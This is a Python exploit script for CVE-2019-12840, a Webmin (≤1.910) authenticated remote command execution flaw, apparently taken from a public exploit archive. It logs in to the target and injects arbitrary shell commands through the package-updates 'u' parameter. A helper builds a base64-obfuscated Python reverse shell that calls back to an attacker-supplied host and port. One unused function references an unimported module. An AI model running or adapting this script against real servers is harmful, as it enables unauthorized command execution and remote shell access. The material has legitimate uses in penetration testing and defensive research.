#!/usr/bin/python3 ''' # Exploit Title: Webmin Package Updates Remote Command Execution # Date: 09/11/2019 # Exploit Author: KrE80r (@KrE80r) # CVE : CVE-2019-12840 # Vendor Homepage: http://webmin.com/ # Version: <= 1.910 # Tested on: Ubuntu 16.04, Ubuntu 18.04 # Refernces: https://secfa.org/?p=17, https://www.pentest.com.tr/exploits/Webmin-1910-Package-Updates-Remote-Command-Execution.html ''' import requests import requests.packages.urllib3 requests.packages.urllib3.disable_warnings() import argparse import sys import base64 from colorama import Fore, Style from bs4 import BeautifulSoup banner = ''' _______ ________ ___ ___ __ ___ __ ___ ___ _ _ ___ / ____\ \ / / ____| |__ \ / _ \/_ |/ _ \ /_ |__ \ / _ \| || | / _ \ | | \ \ / /| |__ ______ ) | | | || | (_) |______| | ) | (_) | || |_| | | | | | \ \/ / | __|______/ /| | | || |\__, |______| | / / > _ <|__ _| | | | | |____ \ / | |____ / /_| |_| || | / / | |/ /_| (_) | | | | |_| | \_____| \/ |______| |____|\___/ |_| /_/ |_|____|\___/ |_| \___/ by KrE80r Webmin <= 1.910 RCE (Authorization Required) usage: python CVE-2019-12840.py -u https://10.10.10.10 -U matt -P Secret123 -c "id" usage: python CVE-2019-12840.py -u https://10.10.10.10 -U matt -P Secret123 -lhost -lport 443 ''' def CVE_2019_12840(url,auth_base64,cmd): vuln_url = url + '/package-updates/update.cgi' headers = { "User-Agent":"webmin", "Connection":"close", "Content-Type":"application/x-www-form-urlencoded", "Referer": url + "package-updates/update.cgi?xnavigation=1" } payload = r'OBJECT CGI;print "Content-Type: Test\n\n";'+'$cmd=`%s`;print "$cmd";' % cmd r = requests.post(url=vuln_url, data=payload, headers=headers, verify=False) if r.status_code ==200 and 'Content-type' in r.text: m = re.findall(r"(.+?)\nContent-type: text/plain",r.text,re.S) else: sys.exit(1) def login(username,password,url): print(Fore.YELLOW + "[*] logging in ...") print(Style.RESET_ALL) session = requests.Session() session.cookies["testing"] = "1" data = {'page' : '', 'user' : username, 'pass' : password} loginurl = url+"/session_login.cgi" res = session.post(loginurl, data=data, verify=False,allow_redirects=False) if res.status_code != 302 or session.cookies["sid"] == None: print(Fore.RED +"[-] Failed to login!!") print(Style.RESET_ALL) sys.exit(1) else: return session.cookies["sid"] def exploit(sid,url,cmd): print(Fore.YELLOW + "[*] sending command", cmd) print(Style.RESET_ALL) session = requests.Session() referer = url + "/package-updates/update.cgi?xnavigation=1" cookies = "Cookie: redirect=1; testing=1;sid=" + sid headers = { "User-Agent": "Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded", "Referer": referer, "X-Progressive-URL": url + "package-updates/update.cgi", "X-Requested-From": "package-updates", "X-Requested-From-Tab": "webmin", "X-Requested-With": "XMLHttpRequest", "Cookie": cookies } data = "mode=updates&search=&u=apt/apt&u=;"+ cmd + ";/apt&ok_top=Update+Selected+Packages" updateurl = url + "/package-updates/update.cgi" res = session.post(updateurl, data=data,headers=headers, verify=False) if res.status_code == 200: soup = BeautifulSoup(res.text, 'html.parser') #ain't perfect but does the job output = soup.find_all('pre') print(output) print(Fore.GREEN + "[+] exploit finished successfully!!") print(Style.RESET_ALL) def b64revshell(lhost,lport): payload = "python -c \"import base64;exec(base64.b64decode('" shellcode = "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\""+ lhost + "\"," + lport + "));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"])" shellcode = str.encode(shellcode) encoded = base64.b64encode(shellcode) encoded = encoded.decode("utf-8") closing = "'))\"" payload += encoded payload += closing return payload if __name__ == "__main__": print (Fore.GREEN + banner) print(Style.RESET_ALL) parser = argparse.ArgumentParser() parser.add_argument("-U", dest="username", help="username", required=True) parser.add_argument("-P", dest="password", help="password", required=True) parser.add_argument("-u", dest="url", help="target url", required=True) parser.add_argument("-p", dest="port", default="10000", help="target port") parser.add_argument("-lport", dest="lport", default="443", help="local port for reverse shell") group = parser.add_mutually_exclusive_group(required=True) group.add_argument("-c", dest="cmd", help="command to execute") group.add_argument("-lhost", dest="lhost", help="Send back a reverse shell at port 443") args = parser.parse_args() baseurl = args.url + ':' + args.port sid = login(args.username,args.password,baseurl) sid = sid.strip() print(Fore.GREEN + "[+] got sid", sid) print(Style.RESET_ALL) if args.cmd: exploit(sid,baseurl,args.cmd) elif args.lhost: rev = b64revshell(args.lhost,args.lport) exploit(sid,baseurl,rev)